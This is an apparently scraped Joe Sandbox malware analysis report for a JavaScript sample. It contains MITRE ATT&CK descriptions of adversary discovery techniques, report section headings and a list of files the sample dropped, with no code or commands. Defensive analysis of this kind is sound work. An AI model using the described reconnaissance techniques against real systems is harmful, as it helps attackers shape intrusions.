Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 326391126385512788.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\549ae387-70e5-4164-9829-814ab4e35336.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6139f545-60ee-4647-b811-f39ba26f8980.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6b430b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
326391126385512788.js